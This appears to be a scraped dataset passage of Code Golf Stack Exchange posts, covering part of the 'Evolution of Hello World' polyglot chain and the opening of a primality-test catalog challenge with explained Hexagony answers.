III](https://codegolf.stackexchange.com/a/40418/21682)\n> 34. [Zsh](https://codegolf.stackexchange.com/a/40424/32377)\n> 35. [Dash](https://codegolf.stackexchange.com/a/40426/32377)\n> 36. [Clojure](https://codegolf.stackexchange.com/a/40435/30525)\n> 37. [NetLogo](https://codegolf.stackexchange.com/a/40436/30525)\n> 38. [Groovy](https://codegolf.stackexchange.com/a/40437/30525)\n> 39. [CoffeeScript](https://codegolf.stackexchange.com/a/40439/30525)\n> 40. [Clipper](https://codegolf.stackexchange.com/a/40440/5372)\n> 41. [B.A.S.I.C.](https://codegolf.stackexchange.com/a/40441/5372)\n> 42. [FALSE](https://codegolf.stackexchange.com/a/40443/3918)\n> 43. [fish (shell)](https://codegolf.stackexchange.com/a/40445/3918)\n> 44. [GNU Octave](https://codegolf.stackexchange.com/a/40449/26997)\n> 45. [TCL](https://codegolf.stackexchange.com/a/40451/26997)\n> 46. [E](https://codegolf.stackexchange.com/a/40452/26997)\n> 47. [newLisp](https://codegolf.stackexchange.com/a/40456/25180)\n> 48. [Lisp](https://codegolf.stackexchange.com/a/40459/25180)\n> 49. [SMT-LIBv2](https://codegolf.stackexchange.com/a/40460/25180)\n> 50. [Racket](https://codegolf.stackexchange.com/a/40461/25180)\n> 51. [Batsh](https://codegolf.stackexchange.com/a/40462/25180)\n> 52. [tcsh](https://codegolf.stackexchange.com/a/40463/26997)\n> 53. [AppleScript](https://codegolf.stackexchange.com/a/40468/21682)\n> 54. [Mouse](https://codegolf.stackexchange.com/a/40469/21682)\n> 55. [Pixie](https://codegolf.stackexchange.com/a/40470/21682)\n> 56. [F#](https://codegolf.stackexchange.com/a/40471/25180)\n> 57. [Falcon](https://codegolf.stackexchange.com/a/40472/25180)\n> 58. [Burlesque](https://codegolf.stackexchange.com/a/40474/25180)\n> 59. [HTML](https://codegolf.stackexchange.com/a/40477/31414)\n> 60. [SGML](https://codegolf.stackexchange.com/a/40478/31414)\n> 61. [M4](https://codegolf.stackexchange.com/a/40480/30525)\n> 62. [MUMPS](https://codegolf.stackexchange.com/a/40487/25180)\n> 63. [TeX](https://codegolf.stackexchange.com/a/40488/25180)\n> 64. [Forth](https://codegolf.stackexchange.com/a/40494/25180)\n> 65. [Salmon](https://codegolf.stackexchange.com/a/40497/25180)\n> 66. [Turing](https://codegolf.stackexchange.com/a/40498/25180)\n> 67. [bc](https://codegolf.stackexchange.com/a/40499/25180)\n> 68. [Betterave](https://codegolf.stackexchange.com/a/40503/25180)\n> 69. [Scheme](https://codegolf.stackexchange.com/a/40505/25180)\n> 70. [Emacs Lisp](https://codegolf.stackexchange.com/a/40512/4768)\n> 71. [Logo](https://codegolf.stackexchange.com/a/40514/4768)\n> 72. [AutoLISP](https://codegolf.stackexchange.com/a/40521/21682)\n> 73. [///](https://codegolf.stackexchange.com/a/40536/21682)\n> 74. [Rebol](https://codegolf.stackexchange.com/a/40539/31414)\n> 75. [Maple](https://codegolf.stackexchange.com/a/40541/21682)\n> 76. [FreeBASIC](https://codegolf.stackexchange.com/a/40544/21682)\n> 77. [Vimscript](https://codegolf.stackexchange.com/a/40547/21682)\n> 78. [ksh](https://codegolf.stackexchange.com/a/40549/21682)\n> 79. [Hack](https://codegolf.stackexchange.com/a/40553/21682)\n> 80. [mIRC](https://codegolf.stackexchange.com/a/40554/21682)\n> 81. [Batch](https://codegolf.stackexchange.com/a/40557/31414)\n> 82. [Make](https://codegolf.stackexchange.com/a/40559/31414)\n> 83. [Markdown](https://codegolf.stackexchange.com/a/40588/31414)\n> 84. [sh](https://codegolf.stackexchange.com/a/40591/8713)\n> 85. [GDB](https://codegolf.stackexchange.com/a/40600/8713)\n> 86. [csh](https://codegolf.stackexchange.com/a/40601/8713)\n> 87. [HQ9+-](https://codegolf.stackexchange.com/a/40615/8713)\n> 88. [Postscript](https://codegolf.stackexchange.com/a/40618/8713)\n> 89. [Matlab](https://codegolf.stackexchange.com/a/40620/8713)\n> 90. [Oz](https://codegolf.stackexchange.com/a/40621/8713)\n> 91. [CASIO BASIC](https://codegolf.stackexchange.com/a/40641/31414)\n> 92. [VBScript](https://codegolf.stackexchange.com/a/40643/16484)\n> 93. [QBasic](https://codegolf.stackexchange.com/a/40645/16484)\n> 94. [Processing](https://codegolf.stackexchange.com/a/40647/16484)\n> 95. [C](https://codegolf.stackexchange.com/a/40649/16484)\n> 96. [Rust 0.13](https://codegolf.stackexchange.com/a/40650/16484)\n> 97. [Dart](https://codegolf.stackexchange.com/a/40651/16484)\n> 98. [Kaffeine](https://codegolf.stackexchange.com/a/40655/21682)\n> 99. [Algoid](https://codegolf.stackexchange.com/a/40657/21682)\n> 100. [AMPL](https://codegolf.stackexchange.com/a/40659/21682)\n> 101. [Alore](https://codegolf.stackexchange.com/a/40661/21682)\n> 102. [Forobj](https://codegolf.stackexchange.com/a/40671/21682)\n> 103. [T-SQL](https://codegolf.stackexchange.com/a/40672/21682)\n> 104. [LiveCode](https://codegolf.stackexchange.com/a/40681/21682)\n> 105. [Euphoria](https://codegolf.stackexchange.com/a/40683/21682)\n> 106. [SpeakEasy](https://codegolf.stackexchange.com/a/40684/21682)\n> 107. [MediaWiki](https://codegolf.stackexchange.com/a/40685/21682)\n> 108. [SmallBASIC](https://codegolf.stackexchange.com/a/40696/31414)\n> 109. [REXX](https://codegolf.stackexchange.com/a/40708/31414)\n> 110. [SQLite](https://codegolf.stackexchange.com/a/40711/26997)\n> 111. [TPP](https://codegolf.stackexchange.com/a/40716/26997)\n> 112. [Geom++](https://codegolf.stackexchange.com/a/40717/26997)\n> 113. [SQL (postgres)](https://codegolf.stackexchange.com/a/40724/21682)\n> 114. [itflabtijtslwi](https://codegolf.stackexchange.com/a/40732/31414)\n> 115. [RegXy](https://codegolf.stackexchange.com/a/40737/31414)\n> 116. [Opal.rb](https://codegolf.stackexchange.com/a/40749/31414)\n> 117. [Squirrel](https://codegolf.stackexchange.com/a/40751/31414)\n> 118. [Pawn](https://codegolf.stackexchange.com/a/40752/31414)\n> 119. [Scala](https://codegolf.stackexchange.com/a/40754/6741)\n> 120. [Rebmu](https://codegolf.stackexchange.com/a/40760/12784)\n> 121. [Boo](https://codegolf.stackexchange.com/a/40768/12784)\n> 122. [PARI/GP](https://codegolf.stackexchange.com/a/40773/12784)\n> 123. [Red](https://codegolf.stackexchange.com/a/40777/32377)\n> 124. [Swift](https://codegolf.stackexchange.com/a/40778/32377)\n> 125. [BeanShell](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world-testing-new-type-of-challenge/40790#40790)\n> 126. [Vala](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world-testing-new-type-of-challenge/40801#40801)\n> 127. [Pike](https://codegolf.stackexchange.com/a/40802/6741)\n> 128. [Suneido](https://codegolf.stackexchange.com/a/40804/6741)\n> 129. [AWK](https://codegolf.stackexchange.com/a/40815/26997)\n> 130. [Neko](https://codegolf.stackexchange.com/a/40818/26997)\n> 131. [AngelScript](https://codegolf.stackexchange.com/a/40836/26997)\n> 132. [gosu](https://codegolf.stackexchange.com/a/40839/26997)\n> 133. [V](https://codegolf.stackexchange.com/a/40840/26997)\n> 134. [ALAGUF](https://codegolf.stackexchange.com/a/40846/21682)\n> 135. [BogusForth](https://codegolf.stackexchange.com/a/40848/21682)\n> 136. [Flaming Thunder](https://codegolf.stackexchange.com/a/40850/21682)\n> 137. [Caché ObjectScript](https://codegolf.stackexchange.com/a/40853/21682)\n> 138. [owl](https://codegolf.stackexchange.com/a/40858/21682)\n> 139. [Cardinal](https://codegolf.stackexchange.com/a/40863/21682)\n> 140. [Parser](https://codegolf.stackexchange.com/a/40868/21682)\n> 141. [Grin](https://codegolf.stackexchange.com/a/40870/21682)\n> 142. [Kitten](https://codegolf.stackexchange.com/a/40880/21682)\n> 143. [TwoDucks](https://codegolf.stackexchange.com/a/40886/21682)\n> 144. [Asymptote](https://codegolf.stackexchange.com/a/40891/21682)\n> 145. [CAT](https://codegolf.stackexchange.com/a/40898/4897)\n> 146. [IDL](https://codegolf.stackexchange.com/a/40899/4897)\n> 147. [Tiny](https://codegolf.stackexchange.com/a/40904/21682)\n> 148. [WTFZOMFG](https://codegolf.stackexchange.com/a/40905/21682)\n> 149. [Io](https://codegolf.stackexchange.com/a/40906/21682)\n> 150. [MuPAD](https://codegolf.stackexchange.com/a/40917/4328)\n> 151. [Java](https://codegolf.stackexchange.com/a/40919/32510)\n> 152. [Onyx](https://codegolf.stackexchange.com/a/40923/32510)\n> 153. [JBoss](https://codegolf.stackexchange.com/a/40926/32510)\n> 154. [S+](https://codegolf.stackexchange.com/a/40948/32510)\n> 155. [Hexish](https://codegolf.stackexchange.com/a/40987/32510)\n> 156. [yash](https://codegolf.stackexchange.com/a/41022/32510)\n> 157. [Improbable](https://codegolf.stackexchange.com/a/41039/31414)\n> 158. [wake](https://codegolf.stackexchange.com/a/41060/32510)\n> 159. [brat](https://codegolf.stackexchange.com/a/41087/12554)\n> 160. [busybox built-in shell](https://codegolf.stackexchange.com/a/41094/12554)\n> 161. [gammaplex](https://codegolf.stackexchange.com/a/41097/12554)\n> 162. [KTurtle](/a/41552/13486)\n> 163. [AGOL 68](/a/41553/13486)\n> 164. [Alice](https://codegolf.stackexchange.com/a/41631/21682)\n> 165. [SML/NJ](/a/41705)\n> 166. [OCaml](https://codegolf.stackexchange.com/a/41709/6741)\n> 167. [CDuce](https://codegolf.stackexchange.com/a/44414/31203)\n> 168. [Underload](https://codegolf.stackexchange.com/a/49060/31203)\n> 169. [Simplex v.0.6](https://codegolf.stackexchange.com/a/61847/31203)\n> 170. [Minkolang 0.9](https://codegolf.stackexchange.com/a/61875/31203)\n> 171. [Fexl 7.0.3](https://codegolf.stackexchange.com/a/68520/48718)\n> 172. [Jolf](https://codegolf.stackexchange.com/a/68532/31957)\n> 173. [Vitsy](https://codegolf.stackexchange.com/a/73693/44713)\n> 174. [Y](https://codegolf.stackexchange.com/a/74104/34718)\n> 175. [Retina](https://codegolf.stackexchange.com/a/74112/34718)\n> 176. [Codename Dragon](https://codegolf.stackexchange.com/a/74232/31957)\n> 177. [Seriously](https://codegolf.stackexchange.com/a/75144/45941)\n> 178. [Reng v.3.3](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world/80820#80820)\n> 179. [Fuzzy Octo Guacamole](https://codegolf.stackexchange.com/a/82360/46271)\n> 180. [05AB1E](https://codegolf.stackexchange.com/a/216176/94066)\n> \n> \n> \n(Feel free to edit these lists if they are incorrect or out of date.)\nThis question works best when you [sort by oldest](//codegolf.stackexchange.com/questions/40376/evolution-of-hello-world-testing-new-type-of-challenge?answertab=oldest#tab-top).\n*NOTE: This is a trial question for a new challenge type I have in mind where each answer depends on the last and increases in difficulty. Come discuss it with us [in the chatroom for this question](http://chat.stackexchange.com/rooms/18189/discussion-for-evolution-of-hello-world) or in [meta](https://codegolf.meta.stackexchange.com/q/2415/26997).*\n \n[Answer]\n# Answer 1 - Python\n```\nprint(\"Hello World!\")\n```\nThere's got to be dozens of languages this could morph into.\n[Answer]\n## Answer 59 - HTML\n**What? No HTML ??**\n```\nHello World!` is an `echo` tag, which now becomes a blank tag with no CSS applied by default by the browser.\nThe `o[.]c;cat<<;#&&alert\" \"` part is actually two properties set on that tag separated by space. So the first property has the key `o[.]c;cat<<;#&&alert\"` and second key is `\"` and both the values are blank.\nSecond part is just plain text `Hello World!` which is the text contents of the `echo` tag.\nNext up, HTML tries to find the closing `echo` tag, but instead, finds a closing `vsh` tag. It then ignores the closing `vsh` tag (i.e. `\n```\nDistance 7 from [answer 94](https://codegolf.stackexchange.com/a/40647/31387)\n[Answer]\n# Answer 85 - [GDB](http://www.gnu.org/software/gdb/) (GNU Debugger)\n```\n#[]([.]c;main()&alert\" \"\n echo Hello World!\n#[;]:;#bye;dnl\n```\nI think this can also be qualified as a programming language. It has even [`if` and `while` commands](https://sourceware.org/gdb/current/onlinedocs/gdb/Command-Files.html#Command-Files).\n[`echo`](https://sourceware.org/gdb/current/onlinedocs/gdb/Output.html) is another built in command in GDB.\nTo run this code:\n```\ngdb --batch -x file\n```\nDistance: 7 from [answer 84](https://codegolf.stackexchange.com/a/40591/25180).\n[Answer]\n# Answer 151 - Java\n```\n//#\nclass jux{public static void main(String[] h){System.out.println(//;\\#//Hello*}}print,\n\"Hello World!\");}}//print\"putsx;//-##[;]#bye%\"\n```\nDistance from [Answer 150](https://codegolf.stackexchange.com/a/40917/31414) : 7\n[Try it here](http://ideone.com/TTCpUX)\n(Thanks to Christopher Creutzig for being such a sport :) )\n[Answer]\n# Answer 22 - LOLCODE\n```\nVISIBLE \"Hello World!\"\n```\nDistance : 6\n[Answer]\n# Answer 10 - GNU dc\n```\n[puts \"\\x48][Hello World!]p\n```\nDistance: 6\n[Answer]\n# Answer 4 - Pyth\n```\n\"Hello World!\n```\nThis answer is a distance of 6 from the [previous answer](https://codegolf.stackexchange.com/a/40379/21487). Pyth strings [do not need a closing quote if they are at the end of a line](https://codegolf.stackexchange.com/a/40041/21487).\n[Answer]\n# Answer 11 - Golfscript\n```\n#[puts \"\\x48]\n\"Hello World!\"\n```\nA distance of 5.\n[Answer]\n## Answer 83 - Markdown\n**What ?? No Markdown ? :P**\n```\n[](#[.]c;cat;#&&alert\" \"\n @echo)Hello World!\n[;]:;#bye;dnl\n```\n[Try it here](http://dillinger.io/)\nDistance from [Answer 82](https://codegolf.stackexchange.com/a/40559/31414) : 7\n```\ne -> [\n: -> ]\n\\n -> (\no H -> o)H\n: -> [\n# -> ]\n\" -> :\n```\n**Voodoo magic ?? Nah!! Here is how it works:**\n* `[text](link)` creates a link.\nSo the first part of the code is\n```\n[](#[.]c;cat;#&&alert\" \"\n @echo)\n```\nWhich creates an empty text link with location\n```\n#[.]c;cat;#&&alert\" \"\n @echo\n```\n* Next part `Hello World!` is printed as is\n* Then `[;]:;#bye;dnl` creates a reference link for `;` which can be used anywhere in the markdown.\nEx:\n```\n[Some text][;] // Outputs a link with text \"Some text\" and url \";#bye;dnl\"\n```\n[Answer]\n# Answer 15 - Sage\n```\nprint(\"Hello World!\")\n```\nDistance = 6\nFull circle.\n[Answer]\n# Answer 12 - Mathematica\n```\n#[puts];\n\"Hello World!\"\n```\nDistance of 7. Attempting to clear up some of that mess.\n[Answer]\n# Answer 6 - Befunge 98\n```\n<@,kb\"Hello World!\"\n```\nDistance of 5 from the [previous answer](https://codegolf.stackexchange.com/a/40381/9498). There was originally a bug where the `k` wasn't there; I know it was there when I wrote this program, though. I guess it just didn't make it into this post.\n[Answer]\n## Answer 2 – CJam\n```\n\"Hello World!\"\n```\nThis is a distance of 7 from the [first answer](https://codegolf.stackexchange.com/a/40377/31414)\n[Try it online here](http://cjam.aditsu.net/)\n[Answer]\n# Answer 19 - VHDL\n```\nreport \"Hello World!\";\n```\nDistance: 6\n[Answer]\n# Answer 3 – PHP\n```\n\n```\nThis answer is a distance 5 from the [second answer](https://codegolf.stackexchange.com/a/40378/30164).\n[Answer]\n# Answer 23 - APL\n```\n \"Hello World!\"\n```\nNote there's a leading space. \nDistance: 7\n[Answer]\n# Answer 5 - Perl\n```\nprint\"Hello World!\"\n```\nThis answer is a distance 6 from the [fourth answer](https://codegolf.stackexchange.com/a/40380/9498).\n[Answer]\n# Answer 7 - Bash\n```\necho Hello World!\n```\nThis is a distance of 7 from the [sixth answer](https://codegolf.stackexchange.com/a/40382/30081).\n[Answer]\n## Answer 28 - J\n```\n]trace=:('Hello World!')\n```\nDistance = 5 from [Answer 27](https://codegolf.stackexchange.com/a/40409/665)\n[Answer]\n## Answer 33 - [Extended BF Type III](http://esolangs.org/wiki/Extended_Brainfuck)\n```\na#=\"*#[.>]trac\": \"@Hello World!\n```\nDistance 7 from [Answer 32](https://codegolf.stackexchange.com/a/40415/16120)\nWell, I have not found an interpreter for that extension but the code seems to fit the specs of the language. \n```\na //ignored\n#=\"*# //comment\n[.>] //print each character until an empty cell\ntrac\" //ignored\n: //move pointer, do not impact result\n \" //ignored\n@ //end of source\nHello World! //Injected in cells before execution\n```\n[Answer]\n# Answer 100 - AMPL\n```\n#[][.]#i\n#main() {\n print(\"Hello World!\");\n#[;]#bye;dnl\n```\nDistance 6 from [Answer 99](https://codegolf.stackexchange.com/a/40657/12784)\n[Answer]\n# Answer 8 - Nimrod\n```\necho \"\\x48ello World!\"\n```\nDistance of 6 from the [last answer](https://codegolf.stackexchange.com/a/40383/29611).\n[Answer]\n# Answer 14 - Lua\n```\n#[put\nprint(\"Hello World!\")\n```\nDistance = 7\n[Answer]\n# Answer 21 - Haskell\n```\nputStrLn \"Hello World!\"\n```\nDistance: 7\n[Answer]\n## Answer 26 - TI-BASIC (NSpire)\n```\nDisp \"Hello World!\"\n```\nDistance: 5 from answer [25](https://codegolf.stackexchange.com/a/40406/21682)\n(Tested on a TI-NSpire calculator)\n[Answer]\n## Answer 29 - MS Windows Powershell\n```\n#]trace=:(\n'Hello World!'\n```\nDistance = 3 from Answer 28\n[Answer]\n# Answer 42 - [FALSE](http://esolangs.org/wiki/FALSE)\n```\n{#ah=\"*#[.>]trac\";cat<<@\n#&&alert \n?} \"Hello World!\n\"\n```\nLevenshtein distance from [#41](https://codegolf.stackexchange.com/a/40441/3918) is 7. Tested with [this online implementation](http://www.quirkster.com/iano/js/false-js.html) of FALSE. I used some leftover edit-distance slots to remove some cruft...\n[Answer]\n# Answer 150 - [MuPAD](http://www.mathworks.com/discovery/mupad.html)\n```\n//#class jux{public static void main(String[] h){System.out.println(;\\#//Hello*}}print,\n\"Hello World!\"//print\"putsx;//-##[;]#bye%\"\n```\nDistance 6 from answer [149](https://codegolf.stackexchange.com/a/40906/4328).\n**EDIT**: Added “ h” to move the chain forward.\n[Answer]\n# Answer 30 - K\n```\n/#]trac\n\"Hello World!\"\n```\nDistance: 7 from [Answer 29](https://codegolf.stackexchange.com/a/40411/16402)\nI think this works, an interpreter is [here (Kona)](https://github.com/kevinlawler/kona). `/` begins a one-line comment in K. I've cleaned up some of the `#]trace=:(` mess.\n]"}}},{"rowIdx":29,"cells":{"text":{"kind":"string","value":"[Question]\n [\nBelieve it or not, we do not yet have a code golf challenge for a simple [primality test](https://en.wikipedia.org/wiki/Primality_test). While it may not be the most interesting challenge, particularly for \"usual\" languages, it can be nontrivial in many languages.\nRosetta code features lists by language of idiomatic approaches to primality testing, one using the [Miller-Rabin test](http://rosettacode.org/wiki/Miller-Rabin_primality_test) specifically and another using [trial division](http://rosettacode.org/wiki/Primality_by_trial_division). However, \"most idiomatic\" often does not coincide with \"shortest.\" In an effort to make Programming Puzzles and Code Golf the go-to site for code golf, this challenge seeks to compile a catalog of the shortest approach in every language, similar to [\"Hello, World!\"](https://codegolf.stackexchange.com/q/55422/20469) and [Golf you a quine for great good!](https://codegolf.stackexchange.com/q/69/20469).\nFurthermore, the capability of implementing a primality test is part of [our definition of programming language](http://meta.codegolf.stackexchange.com/a/2073), so this challenge will also serve as a directory of proven programming languages.\n### Task\nWrite a **full program** that, given a strictly positive integer **n** as input, determines whether **n** is prime and prints a [truthy or falsy value](http://meta.codegolf.stackexchange.com/a/2194) accordingly.\nFor the purpose of this challenge, an integer is prime if it has exactly two strictly positive divisors. Note that this excludes **1**, who is its only strictly positive divisor.\nYour algorithm must be deterministic (i.e., produce the correct output with probability 1) and should, in theory, work for arbitrarily large integers. In practice, you may assume that the input can be stored in your data type, as long as the program works for integers from 1 to 255.\n### Input\n* If your language is able to read from STDIN, accept command-line arguments or any other alternative form of user input, you can read the integer as its decimal representation, unary representation (using a character of your choice), byte array (big or little endian) or single byte (if this is your languages largest data type).\n* If (and only if) your language is unable to accept any kind of user input, you may hardcode the input in your program.\nIn this case, the hardcoded integer must be easily exchangeable. In particular, it may appear only in a single place in the entire program.\nFor scoring purposes, submit the program that corresponds to the input **1**.\n### Output\nOutput has to be written to STDOUT or closest alternative.\nIf possible, output should consist solely of a [truthy or falsy value](http://meta.codegolf.stackexchange.com/a/2194) (or a string representation thereof), optionally followed by a single newline.\nThe only exception to this rule is constant output of your language's interpreter that cannot be suppressed, such as a greeting, ANSI color codes or indentation.\n### Additional rules\n* This is not about finding the language with the shortest approach for prime testing, this is about finding the shortest approach in every language. Therefore, no answer will be marked as accepted.\n* Submissions in most languages will be scored in *bytes* in an appropriate preexisting encoding, usually (but not necessarily) UTF-8.\nThe language [Piet](http://www.dangermouse.net/esoteric/piet.html), for example, will be scored in codels, which is the natural choice for this language.\nSome languages, like [Folders](http://esolangs.org/wiki/Folders), are a bit tricky to score. If in doubt, please ask on [Meta](http://meta.codegolf.stackexchange.com/).\n* Unlike our usual rules, feel free to use a language (or language version) even if it's newer than this challenge. If anyone wants to abuse this by creating a language where the empty program performs a primality test, then congrats for paving the way for a very boring answer.\nNote that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language.\n* If your language of choice is a trivial variant of another (potentially more popular) language which already has an answer (think BASIC or SQL dialects, Unix shells or trivial Brainfuck derivatives like Headsecks or Unary), consider adding a note to the existing answer that the same or a very similar solution is also the shortest in the other language.\n* Built-in functions for testing primality **are** allowed. This challenge is meant to catalog the shortest possible solution in each language, so if it's shorter to use a built-in in your language, go for it.\n* Unless they have been overruled earlier, all standard [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\") rules apply, including the .\nAs a side note, please don't downvote boring (but valid) answers in languages where there is not much to golf; these are still useful to this question as it tries to compile a catalog as complete as possible. However, do primarily upvote answers in languages where the author actually had to put effort into golfing the code.\n### Catalog\nThe Stack Snippet at the bottom of this post generates the catalog from the answers a) as a list of shortest solution per language and b) as an overall leaderboard.\nTo make sure that your answer shows up, please start your answer with a headline, using the following Markdown template:\n```\n## Language Name, N bytes\n```\nwhere `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance:\n```\n## Ruby, 104 101 96 bytes\n```\nIf there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header:\n```\n## Perl, 43 + 2 (-p flag) = 45 bytes\n```\nYou can also make the language name a link which will then show up in the snippet:\n```\n## [><>](http://esolangs.org/wiki/Fish), 121 bytes\n```\n```\n

Shortest Solution by Language

LanguageUserScore

Leaderboard

AuthorLanguageSize
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n# [hello, world!](https://github.com/histocrat/hello_world), 13\n```\nhello, world!\n```\n[Answer]\n# [Hexagony](https://github.com/mbuettner/hexagony), 29 bytes\n```\n.?'.).@@/'/.!.>+=(<.!)}($>(<%\n```\nThe readable version of this code is:\n```\n . ? ' .\n ) . @ @ /\n ' / . ! . >\n+ = ( < . ! )\n } ( $ > ( <\n % . . . .\n . . . .\n```\nExplanation: It test if there is a number from 2 to n-1 who divides n.\n## Initialization:\nWrite n in one memory cell and n-1 in an other:\n```\n . ? ' .\n . . . . .\n . . . . . .\n+ = ( . . . .\n . . . . . .\n . . . . .\n . . . .\n```\n## Special Case n=1:\nPrint a 0 and terminate\n```\n . . . .\n . . . @ .\n . . . ! . .\n. . . < . . .\n . . . . . .\n . . . . .\n . . . .\n```\n## The loop\nCalculate n%a and decrease a. Terminate if a=1 or n%a=0.\n```\n . . . .\n ) . . . /\n ' / . . . >\n. . . . . . .\n } ( $ > ( <\n % . . . .\n . . . .\n```\n## Case a=1:\nIncrease a 0 to an 1, print it and terminate. (The instruction pointer runs in NE direction and loops from the eastern corner to the south western corner. And the $ makes sure it ignores the next command)\n```\n . . . .\n . . . @ .\n . . . ! . .\n. . . < . . )\n . . $ . . <\n . . . . .\n . . . .\n```\n## Case a%n=0:\nPrint the 0 and terminate (The instruction pointer is running SW and loops to the top to the @\n```\n . . . .\n . . @ . .\n . . . . . >\n. . . . . ! .\n . . . . . .\n . . . . .\n . . . .\n```\n[Answer]\n# [Hexagony](https://github.com/mbuettner/hexagony), ~~218~~ ~~92~~ ~~58~~ 55 bytes\n**Notice:** This answer has been solidly beaten [with a side-length 4 solution](https://codegolf.stackexchange.com/a/58347/8478) by Etoplay.\n```\n)}?}.=(..]=}='.}.}~./%*..&.=&{.<......=|>(<..}!=...&@\\[\n```\nThe first ever non-trivial (i.e. non-linear) Hexagony program! It is based on the same squared-factorial approach as [Sp3000's Labyrinth answer](https://codegolf.stackexchange.com/a/57672/8478). After starting out with a hexagon of size 10, I managed to compress it down to size 5. However, I was able to reuse some duplicate code and there are still quite a bunch of no-ops in the code, so size 4 might *just* be possible.\n## Explanation\nTo make sense of the code, we first need to unfold it. Hexagony pads any source code to the next centred hexagonal number with no-ops (`.`), which is `61`. It then rearranges the code into a regular hexagon of the corresponding size:\n```\n ) } ? } .\n = ( . . ] =\n } = ' . } . }\n ~ . / % * . . &\n . = & { . < . . .\n . . . = | > ( <\n . . } ! = . .\n . & @ \\ [ .\n . . . . .\n```\nThis is quite heavily golfed with crossing and overlapping execution paths and multiple instruction pointers (IPs). To explain how it works, let's first look at an ungolfed version where control flow doesn't go through the edges, only one IP is used and the execution paths are as simple as possible:\n```\n . . . . . . . . . . . . .\n . . . . . . . . . . . . . .\n . . . . . . . . . . . . . . .\n . . . . . . . . . . @ . . . . .\n . . . . . . . . . . ! . . . . . .\n . . . . . . . . . . % . . . . . . .\n . . . . . . . . . . ' . . . . . . . .\n . . . . . . . . . . & . . . . . . . . .\n . . . . . . . . . . { . . . . . . . . . .\n . . . . . . . . . . * . . . . . . . . . . .\n . . . . . . . . . . = . . . . . . . . . . . .\n . . . . . . . . . . } . . . . . . . . . . . . .\n ) } ? } = & { < . . & . . . . . . . . . . . . . .\n . . . . . . . > ( < . . . . . . . . . . . . . .\n . . . . . . = . . } . . . . . . . . . . . . .\n . . . . . } . . . = . . . . . . . . . . . .\n . . . . | . . . . | . . . . . . . . . . .\n . . . . * . . . ) . . . . . . . . . . .\n . . . . = . . & . . . . . . . . . . .\n . . . . > } < . . . . . . . . . . .\n . . . . . . . . . . . . . . . . .\n . . . . . . . . . . . . . . . .\n . . . . . . . . . . . . . . .\n . . . . . . . . . . . . . .\n . . . . . . . . . . . . .\n```\nSide note: the above code starts with executing the first line, which is full of no-ops. Then, when the IP hits the north east edge, it wraps to the left-most corner (the `)`), where the actual code begins.\nBefore we start, a word about Hexagony's memory layout. It's a bit like Brainfuck's tape on steroids. In fact, it's not a tape, but it's a hexagonal grid itself (an infinite one), where each *edge* has an integer value, which is initially 0 (and as opposed to standard Brainfuck, the values are signed arbitrary-precision integers). For this program, we'll be using four edges:\n[![enter image description here](https://i.stack.imgur.com/bh4T0.png)](https://i.stack.imgur.com/bh4T0.png)\nWe'll compute the factorial on edge **A**, count down our input on edge **C** and store another copy of the input (for the modulo) on edge **D**. **B** is used as a temporary edge for computations.\nThe memory pointer (MP) starts out on edge **A** and points north (this is important for moving the MP around). Now here is the first bit of the code:\n```\n)}?}=&{\n```\n`)` increments edge **A** to `1` as the basis of the factorial. `}` makes the MP take a right-turn, i.e. move to edge **C** (pointing north-east). Here we read the input as an integer with `?`. Then we take another right-turn to edge **D** with `}`. `=` reverses the MP, such that it points at the vertex shared with **C**. `&` copies the value from **C** (the input) into **D** - the value is copied from the left because the current value is non-positive (zero). Finally, we make the MP take a left-turn back to **C** with `{`.\nNext, `<` is technically a branch, but we know that the current value is positive, so the IP will always turn right towards the `>`. A branch hit from the side acts as a mirror, such that the IP moves horizontally again, towards the `(`, which decrements the value in **C**.\nThe next branch, `<` is *actually* a branch now. This is how we loop from `n-1` down to `1`. While the current value in **C** is positive, the IP takes a right-turn (to execute the loop). Once we hit zero, it will turn left instead.\nLet's look at the loop \"body\". The `|` are simple mirrors, the `>` and `<` are also used as mirrors again. That means the actual loop body boils down to\n```\n}=)&}=*}=\n```\n`}` moves the MP to edge **B**, `=` reverses its direction to face the vertex **ABC**. `)` increments the value: this is only relevant for the first iteration, where the value of **B** is still zero: we want to ensure that it's positive, such that the next instruction `&` copies the *right* neighbour, i.e. **A**, i.e. the current value of the factorial computation, into **B**.\n`}` then moves the MP to **A**, `=` reverses it again to face the common vertex. `*` multiplies both neighbours, i.e. edges **B** and **C** and stores the result in **A**. Finally, we have another `}=` to return to **C**, still facing the vertex **ABC**.\nI hope you can see how this computes the factorial of `n-1` in **A**.\nSo now we've done that, the loop counter in **C** is zero. We want to square the factorial and then take the modulo with the input. That's what this code does:\n```\n&}=*{&'%!@\n```\nSince **C** is zero, `&` copies the left neighbour, i.e. the factorial in **A**. `}=*` moves to **B** and stores the product of the two copies of the factorial (i.e. the square) in **B**. `{` moves back to **C**, but doesn't reverse the MP. We know that the current value is now positive, so `&` copies input from **D** into **C**. `'` the MP *backwards* to the right, i.e. onto **A**. Remember, the square of the factorial is in **B** and the input is in **C**. So `%` computes `(n-1)!^2 % n`, exactly what we're looking for. `!` prints the result as an integer (0 or 1) and `@` terminates the program.\n---\nOkay, but that was the ungolfed version. What about the golfed version? You need to know two more things about Hexagony:\n1. The edges wrap around. If the IP hits an edge of the hexagon, it jumps to the opposite edge. This is ambiguous when the IP hits a corner straight on, so hitting a corner also acts as a branch: if the current value is positive, the IP jumps to the grid edge to its right, otherwise to the one to its left.\n2. There are actually *6* IPs. Each of them starts in a different corner, moving along the edge in the clockwise direction. Only one of them is active at a time, which means you can just ignore the other 5 IPs if you don't want them. You can switch to the next IP (in clockwise order) with `]` and to the previous one with `[`. (You can also choose a specific one with `#`, but that's for another time.)\nThere are also a few new commands in it: `\\` and `/` are mirrors like `|`, and `~` multiplies the current value by `-1`.\nSo how does the ungolfed version translate to the golfed one? The linear set up code `)}?}=&{` and the basic loop structure can be found here:\n```\n ) } ? } . ->\n . . . . . .\n . . . . . . .\n . . . . . . . 